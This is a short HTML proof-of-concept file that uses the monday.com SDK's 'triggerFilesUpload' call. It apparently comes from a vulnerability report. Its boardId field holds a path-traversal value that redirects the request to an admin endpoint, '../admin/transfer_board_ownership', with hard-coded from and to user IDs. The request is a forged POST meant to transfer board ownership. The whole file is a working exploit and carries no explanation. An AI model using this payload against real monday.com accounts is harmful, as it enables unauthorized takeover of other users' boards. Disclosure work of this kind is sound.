trigger-files-upload-post-forgery.html

<html>
  <head>
    <script src="https://cdn.jsdelivr.net/npm/monday-sdk-js/dist/main.js"></script>
  </head>
<body>
  <script>
    const monday = window.mondaySdk();
    let itemId;
    
    monday.get('context').then(({data}) => {
      itemId = data.itemId;
    });
    
    triggerFilesUpload = () => monday.execute("triggerFilesUpload", {
      boardId: '../admin/transfer_board_ownership?from_user_id=17526220&to_user_id=25463305&a=',
      itemId,
      columnId: 'group'
    });
  </script>
  <button onclick=triggerFilesUpload()>Upload file</button>
</body>
</html>